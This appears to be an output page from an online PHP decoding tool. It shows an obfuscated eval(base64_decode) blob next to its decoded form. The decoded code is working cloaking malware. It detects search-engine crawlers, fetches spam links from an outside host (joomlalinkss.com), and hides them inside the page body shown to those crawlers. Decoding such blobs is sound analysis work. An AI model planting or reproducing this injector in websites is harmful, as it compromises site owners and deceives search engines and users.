Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode("ICBpZiAocHJlZ19tYXRjaCgnI2dvb2dsZXxiaW5nfHlhaG9vfGFvbHxhc2t8Ym90fG1zbm..
Decoded Output download
if (preg_match('#google|bing|yahoo|aol|ask|bot|msnbot|Baidu|'. 'spider|crawler|wordpress|MJ12bot|Vagabondo|'. 'Yandex|Ahrefs|facebook|CMRadar|Jakarta|GigablastOpenSource|'. 'CMRadar|Mechanize|FeedBurner#si',@$_SERVER['HTTP_USER_AGENT'])) { $url = 'http://joomlalinkss.com'; $rp = 'http://'.@$_SERVER['SERVER_NAME'].@$_SERVER["REQUEST_URI"]; curl_setopt($chc=curl_init($rp), CURLOPT_RETURNTRANSFER, 1); curl_setopt($chc, CURLOPT_HEADER, 0); curl_setopt($chc, CURLOPT_FOLLOWLOCATION, 0); $out = trim(curl_exec($chc)); if ($out != '') { $hash = md5($rp); $ref = $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; $ref = str_replace('www.','',$ref); $q = rtrim($url,' /').'/getlinks.php?ref='.urlencode($ref); curl_setopt($chl=curl_init($q), CURLOPT_RETURNTRANSFER, 1); curl_setopt($chl, CURLOPT_HEADER, 0); curl_setopt($chl, CURLOPT_FOLLOWLOCATION, 0); $lout = curl_exec($chl); $lnks = @explode("
",$lout); if (!is_array($lnks) || count($lnks)==0) { die($out); } $arr = array(); foreach ($lnks as $lnk) { $temp = explode('==>',$lnk); $arr[] = $temp; } if (substr($arr[0][0],0,12)=='test-linking') { $arr[0][0] = '<!-- '.substr($arr[0][0],12).' -->'; $arr[0][1] = '0'; $arr[0][2] = '0'; } $breg = '#(<body.+</body>)#si'; if (preg_match($breg,$out,$bres)) { $body = $bres[1]; $bress = '#(\<body[^>]*\>)#si'; $brese = '#\<\/body\>#si'; foreach ($arr as $onel) { $link = trim($onel[0]); $pos = $onel[1]; $sub_pos = $onel[2]; if ($link=='') continue; $breps = '$1 '.$link.' '; $brepe = ' '.$link.' </body>'; $tsarr = array(); if (preg_match_all('#<script.+?</script>#si',$body,$tsres)>0) { for ($ti=0;$ti<count($tsres[0]);$ti++) { $body = preg_replace('#<script.+?</script>#si','[SCR'.$ti.']',$body,1); $tsarr[$ti] = $tsres[0][$ti]; } } $tee = explode('</p>',$body); if (count($tee)>1) { $key = floor((count($tee))*$pos/100)-1; $block = $tee[$key]; if (substr($link, 0, 2)=='<p') { $avglen = 0; $avgcc = 0; for ($tk=1;$tk<=count($tee)-1;$tk++) { $tv = $tee[$tk]; $onelen = strlen(strip_tags(preg_replace(array('#^.*?\<p#si','#[\s]+#si'),array('<p',''),$tv))); if ($onelen>0) { $avglen += $onelen; $avgcc++; } } $avg = ceil($avglen/$avgcc); if ($avg>0) { $torand = array(); for ($tk=1;$tk<=count($tee)-1;$tk++) { $tv = $tee[$tk]; $onelen = strlen(strip_tags(preg_replace(array('#^.*?\<p#si','#[\s]+#si'),array('<p',''),$tv))); if ($onelen>=$avg) $torand[] = $tk; } $key = floor(count($torand)*$pos/100); $block = $tee[$torand[$key]]; if (preg_match('#\/p>#si',$block)) $block = preg_replace('#\/p>#si', '/p>'."
".$link, $block); else $block = $block."
".$link; $tee[$torand[$key]] = $block; } else { $tee[$key] = $tee[$key]."
".$link; } } else { $rtemps = array(); if (preg_match('#^(.+)<p[^>]*>#si',$block,$press)) { $rtemps['P'] = $press[1]; $block = preg_replace('#^(.+)(<p[^>]*>)#si', '[TEMPS-P]$2', $block, 1); } if (preg_match_all('#(<[^>]+>)#si', $block, $temps)>0) { for($tsi=0;$tsi<count($temps[1]);$tsi++) { $block = preg_replace('#(<[^>]*>)#si', '[TEMPS-'.$tsi.']', $block, 1); $rtemps[$tsi] = $temps[1][$tsi]; } } if (substr($link, 0, 2)=='<a') { $tbl = explode(' ',$block); $bkey = floor((count($tbl)-2)*$sub_pos/100)+1; $tbl[$bkey] .= ' '.$link; $block = implode(' ',$tbl); $tee[$key] = $block; } else { $enreg = '#[\.\!\?]{1,3}[\s]+#si'; if (($sens_cc = preg_match_all($enreg,$block,$enres))>0) { $senposGAGA = floor($sens_cc*$sub_pos/100); $counterGAGA = 0; $block = preg_replace_callback($enreg, function($resss){ global $counterGAGA, $senposGAGA, $link; if ($counterGAGA==$senposGAGA) $ret = $resss[0].$link.' '; else $ret = $resss[0]; $counterGAGA++; return $ret; },$block); } else { $block .= ' '.$link; } $tee[$key] = $block; } if (count($rtemps)>0) foreach($rtemps as $k=>$v) $block = str_replace('[TEMPS-'.$k.']', $v, $block); $tee[$key] = $block; } $body = implode('</p>',$tee); } else { $reg = ($sub_pos>50) ? $bress : $brese; $rep = ($sub_pos>50) ? $breps : $brepe; $body = preg_replace($reg,$rep,$body,1); } if (count($tsarr)>0) { foreach($tsarr as $k=>$v) { $body = str_replace('[SCR'.$k.']',$v,$body); } } $body = str_replace('$','\$',$body); } $out = preg_replace($breg,$body,$out,1); } else { foreach ($arr as $onel) { $link = $onel[0]; $out .= '<br>'.$link; } } die($out); } }
Did this file decode correctly?
Original Code
eval(base64_decode("ICBpZiAocHJlZ19tYXRjaCgnI2dvb2dsZXxiaW5nfHlhaG9vfGFvbHxhc2t8Ym90fG1zbmJvdHxCYWlkdXwnLiAgICAnc3BpZGVyfGNyYXdsZXJ8d29yZHByZXNzfE1KMTJib3R8VmFnYWJvbmRvfCcuICAgICdZYW5kZXh8QWhyZWZzfGZhY2Vib29rfENNUmFkYXJ8SmFrYXJ0YXxHaWdhYmxhc3RPcGVuU291cmNlfCcuICAgICdDTVJhZGFyfE1lY2hhbml6ZXxGZWVkQnVybmVyI3NpJyxAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgICB7ICAgJHVybCA9ICdodHRwOi8vam9vbWxhbGlua3NzLmNvbSc7ICAgJHJwID0gJ2h0dHA6Ly8nLkAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXS5AJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICAgICBjdXJsX3NldG9wdCgkY2hjPWN1cmxfaW5pdCgkcnApLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgICBjdXJsX3NldG9wdCgkY2hjLCBDVVJMT1BUX0hFQURFUiwgMCk7ICAgY3VybF9zZXRvcHQoJGNoYywgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7ICAgJG91dCA9IHRyaW0oY3VybF9leGVjKCRjaGMpKTsgICAgIGlmICgkb3V0ICE9ICcnKSAgICB7ICAgICRoYXNoID0gbWQ1KCRycCk7ICAgICAgJHJlZiA9ICRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAgICAkcmVmID0gc3RyX3JlcGxhY2UoJ3d3dy4nLCcnLCRyZWYpOyAgICAgICRxID0gcnRyaW0oJHVybCwnIC8nKS4nL2dldGxpbmtzLnBocD9yZWY9Jy51cmxlbmNvZGUoJHJlZik7ICAgICAgY3VybF9zZXRvcHQoJGNobD1jdXJsX2luaXQoJHEpLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgICAgY3VybF9zZXRvcHQoJGNobCwgQ1VSTE9QVF9IRUFERVIsIDApOyAgICBjdXJsX3NldG9wdCgkY2hsLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgICAgJGxvdXQgPSBjdXJsX2V4ZWMoJGNobCk7ICAgICAgJGxua3MgPSBAZXhwbG9kZSgiXG4iLCRsb3V0KTsgICAgaWYgKCFpc19hcnJheSgkbG5rcykgfHwgY291bnQoJGxua3MpPT0wKSAgICAgeyAgICAgZGllKCRvdXQpOyAgICAgfSAgICAgICRhcnIgPSBhcnJheSgpOyAgICBmb3JlYWNoICgkbG5rcyBhcyAkbG5rKSAgICAgeyAgICAgJHRlbXAgPSBleHBsb2RlKCc9PT4nLCRsbmspOyAgICAgJGFycltdID0gJHRlbXA7ICAgICB9ICAgICAgaWYgKHN1YnN0cigkYXJyWzBdWzBdLDAsMTIpPT0ndGVzdC1saW5raW5nJykgICAgIHsgICAgICRhcnJbMF1bMF0gPSAnPCEtLSAnLnN1YnN0cigkYXJyWzBdWzBdLDEyKS4nIC0tPic7ICAgICAkYXJyWzBdWzFdID0gJzAnOyAgICAgJGFyclswXVsyXSA9ICcwJzsgICAgIH0gICAgICAkYnJlZyA9ICcjKDxib2R5Lis8L2JvZHk+KSNzaSc7ICAgICAgaWYgKHByZWdfbWF0Y2goJGJyZWcsJG91dCwkYnJlcykpICAgICB7ICAgICAkYm9keSA9ICRicmVzWzFdOyAgICAgICAkYnJlc3MgPSAnIyhcPGJvZHlbXj5dKlw+KSNzaSc7ICAgICAkYnJlc2UgPSAnI1w8XC9ib2R5XD4jc2knOyAgICAgICBmb3JlYWNoICgkYXJyIGFzICRvbmVsKSAgICAgIHsgICAgICAkbGluayA9IHRyaW0oJG9uZWxbMF0pOyAgICAgICRwb3MgID0gJG9uZWxbMV07ICAgICAgJHN1Yl9wb3MgPSAkb25lbFsyXTsgICAgICAgIGlmICgkbGluaz09JycpIGNvbnRpbnVlOyAgICAgICAgJGJyZXBzID0gJyQxICcuJGxpbmsuJyAnOyAgICAgICRicmVwZSA9ICcgJy4kbGluay4nIDwvYm9keT4nOyAgICAgICAgJHRzYXJyID0gYXJyYXkoKTsgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0Lis/PC9zY3JpcHQ+I3NpJywkYm9keSwkdHNyZXMpPjApICAgICAgIHsgICAgICAgZm9yICgkdGk9MDskdGk8Y291bnQoJHRzcmVzWzBdKTskdGkrKykgICAgICAgIHsgICAgICAgICRib2R5ID0gcHJlZ19yZXBsYWNlKCcjPHNjcmlwdC4rPzwvc2NyaXB0PiNzaScsJ1tTQ1InLiR0aS4nXScsJGJvZHksMSk7ICAgICAgICAkdHNhcnJbJHRpXSA9ICR0c3Jlc1swXVskdGldOyAgICAgICAgfSAgICAgICB9ICAgICAgJHRlZSA9IGV4cGxvZGUoJzwvcD4nLCRib2R5KTsgICAgICAgICAgaWYgKGNvdW50KCR0ZWUpPjEpICAgICAgIHsgICAgICAgJGtleSA9IGZsb29yKChjb3VudCgkdGVlKSkqJHBvcy8xMDApLTE7ICAgICAgICRibG9jayA9ICR0ZWVbJGtleV07ICAgICAgICAgaWYgKHN1YnN0cigkbGluaywgMCwgMik9PSc8cCcpICAgICAgICB7ICAgICAgICAkYXZnbGVuID0gMDsgICAgICAgICRhdmdjYyA9IDA7ICAgICAgICBmb3IgKCR0az0xOyR0azw9Y291bnQoJHRlZSktMTskdGsrKykgICAgICAgICB7ICAgICAgICAgJHR2ID0gJHRlZVskdGtdOyAgICAgICAgICRvbmVsZW4gPSBzdHJsZW4oc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoYXJyYXkoJyNeLio/XDxwI3NpJywnI1tcc10rI3NpJyksYXJyYXkoJzxwJywnJyksJHR2KSkpOyAgICAgICAgIGlmICgkb25lbGVuPjApICAgICAgICAgIHsgICAgICAgICAgJGF2Z2xlbiArPSAkb25lbGVuOyAgICAgICAgICAkYXZnY2MrKzsgICAgICAgICAgfSAgICAgICAgIH0gICAgICAgICRhdmcgPSBjZWlsKCRhdmdsZW4vJGF2Z2NjKTsgICAgICAgICAgaWYgKCRhdmc+MCkgICAgICAgICB7ICAgICAgICAgJHRvcmFuZCA9IGFycmF5KCk7ICAgICAgICAgZm9yICgkdGs9MTskdGs8PWNvdW50KCR0ZWUpLTE7JHRrKyspICAgICAgICAgIHsgICAgICAgICAgJHR2ID0gJHRlZVskdGtdOyAgICAgICAgICAkb25lbGVuID0gc3RybGVuKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKGFycmF5KCcjXi4qP1w8cCNzaScsJyNbXHNdKyNzaScpLGFycmF5KCc8cCcsJycpLCR0dikpKTsgICAgICAgICAgaWYgKCRvbmVsZW4+PSRhdmcpICR0b3JhbmRbXSA9ICR0azsgICAgICAgICAgfSAgICAgICAgICRrZXkgPSBmbG9vcihjb3VudCgkdG9yYW5kKSokcG9zLzEwMCk7ICAgICAgICAgICAkYmxvY2sgPSAkdGVlWyR0b3JhbmRbJGtleV1dOyAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNcL3A+I3NpJywkYmxvY2spKSAkYmxvY2sgPSBwcmVnX3JlcGxhY2UoJyNcL3A+I3NpJywgJy9wPicuIlxyXG4iLiRsaW5rLCAkYmxvY2spOyAgICAgICAgIGVsc2UgJGJsb2NrID0gJGJsb2NrLiJcclxuIi4kbGluazsgICAgICAgICAgICR0ZWVbJHRvcmFuZFska2V5XV0gPSAkYmxvY2s7ICAgICAgICAgfSAgICAgICAgZWxzZSAgICAgICAgIHsgICAgICAgICAkdGVlWyRrZXldID0gJHRlZVska2V5XS4iXHJcbiIuJGxpbms7ICAgICAgICAgfSAgICAgICAgfSAgICAgICBlbHNlICAgICAgICB7ICAgICAgICAkcnRlbXBzID0gYXJyYXkoKTsgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNeKC4rKTxwW14+XSo+I3NpJywkYmxvY2ssJHByZXNzKSkgICAgICAgICB7ICAgICAgICAgJHJ0ZW1wc1snUCddID0gJHByZXNzWzFdOyAgICAgICAgICRibG9jayA9IHByZWdfcmVwbGFjZSgnI14oLispKDxwW14+XSo+KSNzaScsICdbVEVNUFMtUF0kMicsICRibG9jaywgMSk7ICAgICAgICAgfSAgICAgICAgICBpZiAocHJlZ19tYXRjaF9hbGwoJyMoPFtePl0rPikjc2knLCAkYmxvY2ssICR0ZW1wcyk+MCkgICAgICAgICB7ICAgICAgICAgZm9yKCR0c2k9MDskdHNpPGNvdW50KCR0ZW1wc1sxXSk7JHRzaSsrKSAgICAgICAgICB7ICAgICAgICAgICRibG9jayA9IHByZWdfcmVwbGFjZSgnIyg8W14+XSo+KSNzaScsICdbVEVNUFMtJy4kdHNpLiddJywgJGJsb2NrLCAxKTsgICAgICAgICAgJHJ0ZW1wc1skdHNpXSA9ICR0ZW1wc1sxXVskdHNpXTsgICAgICAgICAgfSAgICAgICAgIH0gICAgICAgICAgaWYgKHN1YnN0cigkbGluaywgMCwgMik9PSc8YScpICAgICAgICAgeyAgICAgICAgICR0YmwgPSBleHBsb2RlKCcgJywkYmxvY2spOyAgICAgICAgICRia2V5ID0gZmxvb3IoKGNvdW50KCR0YmwpLTIpKiRzdWJfcG9zLzEwMCkrMTsgICAgICAgICAkdGJsWyRia2V5XSAuPSAnICcuJGxpbms7ICAgICAgICAgJGJsb2NrID0gaW1wbG9kZSgnICcsJHRibCk7ICAgICAgICAgICAkdGVlWyRrZXldID0gJGJsb2NrOyAgICAgICAgIH0gICAgICAgIGVsc2UgICAgICAgICB7ICAgICAgICAgJGVucmVnID0gJyNbXC5cIVw/XXsxLDN9W1xzXSsjc2knOyAgICAgICAgIGlmICgoJHNlbnNfY2MgPSBwcmVnX21hdGNoX2FsbCgkZW5yZWcsJGJsb2NrLCRlbnJlcykpPjApICAgICAgICAgIHsgICAgICAgICAgJHNlbnBvc0dBR0EgPSBmbG9vcigkc2Vuc19jYyokc3ViX3Bvcy8xMDApOyAgICAgICAgICAkY291bnRlckdBR0EgPSAwOyAgICAgICAgICAkYmxvY2sgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJGVucmVnLCBmdW5jdGlvbigkcmVzc3MpeyAgICAgICAgICAgICAgZ2xvYmFsICRjb3VudGVyR0FHQSwgJHNlbnBvc0dBR0EsICRsaW5rOyAgICAgICAgICAgICAgaWYgKCRjb3VudGVyR0FHQT09JHNlbnBvc0dBR0EpICRyZXQgPSAkcmVzc3NbMF0uJGxpbmsuJyAnOyAgICAgICAgICAgIGVsc2UgJHJldCA9ICRyZXNzc1swXTsgICAgICAgICAgICAgICRjb3VudGVyR0FHQSsrOyAgICAgICAgICAgICAgcmV0dXJuICRyZXQ7ICAgICAgICAgICAgICB9LCRibG9jayk7ICAgICAgICAgIH0gICAgICAgICBlbHNlICAgICAgICAgIHsgICAgICAgICAgJGJsb2NrIC49ICcgJy4kbGluazsgICAgICAgICAgfSAgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgICB9ICAgICAgICAgIGlmIChjb3VudCgkcnRlbXBzKT4wKSBmb3JlYWNoKCRydGVtcHMgYXMgJGs9PiR2KSAkYmxvY2sgPSBzdHJfcmVwbGFjZSgnW1RFTVBTLScuJGsuJ10nLCAkdiwgJGJsb2NrKTsgICAgICAgICAgJHRlZVska2V5XSA9ICRibG9jazsgICAgICAgIH0gICAgICAgICAkYm9keSA9IGltcGxvZGUoJzwvcD4nLCR0ZWUpOyAgICAgICB9ICAgICAgZWxzZSAgICAgICB7ICAgICAgICRyZWcgPSAoJHN1Yl9wb3M+NTApID8gJGJyZXNzIDogJGJyZXNlOyAgICAgICAkcmVwID0gKCRzdWJfcG9zPjUwKSA/ICRicmVwcyA6ICRicmVwZTsgICAgICAgJGJvZHkgPSBwcmVnX3JlcGxhY2UoJHJlZywkcmVwLCRib2R5LDEpOyAgICAgICAgICAgICB9ICAgICAgICBpZiAoY291bnQoJHRzYXJyKT4wKSAgICAgICB7ICAgICAgIGZvcmVhY2goJHRzYXJyIGFzICRrPT4kdikgICAgICAgIHsgICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoJ1tTQ1InLiRrLiddJywkdiwkYm9keSk7ICAgICAgICB9ICAgICAgIH0gICAgICAgICAgICAgICAgJGJvZHkgPSBzdHJfcmVwbGFjZSgnJCcsJ1wkJywkYm9keSk7ICAgICAgfSAgICAgICAkb3V0ID0gcHJlZ19yZXBsYWNlKCRicmVnLCRib2R5LCRvdXQsMSk7ICAgICB9ICAgIGVsc2UgICAgIHsgICAgIGZvcmVhY2ggKCRhcnIgYXMgJG9uZWwpICAgICAgeyAgICAgICRsaW5rID0gJG9uZWxbMF07ICAgICAgJG91dCAuPSAnPGJyPicuJGxpbms7ICAgICAgfSAgICAgfSAgICAgIGRpZSgkb3V0KTsgICAgIH0gICB9ICAgIA=="));
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 95e54be61ab07fb4e1a9ed07c8becad0 |
| Eval Count | 1 |
| Decode Time | 94 ms |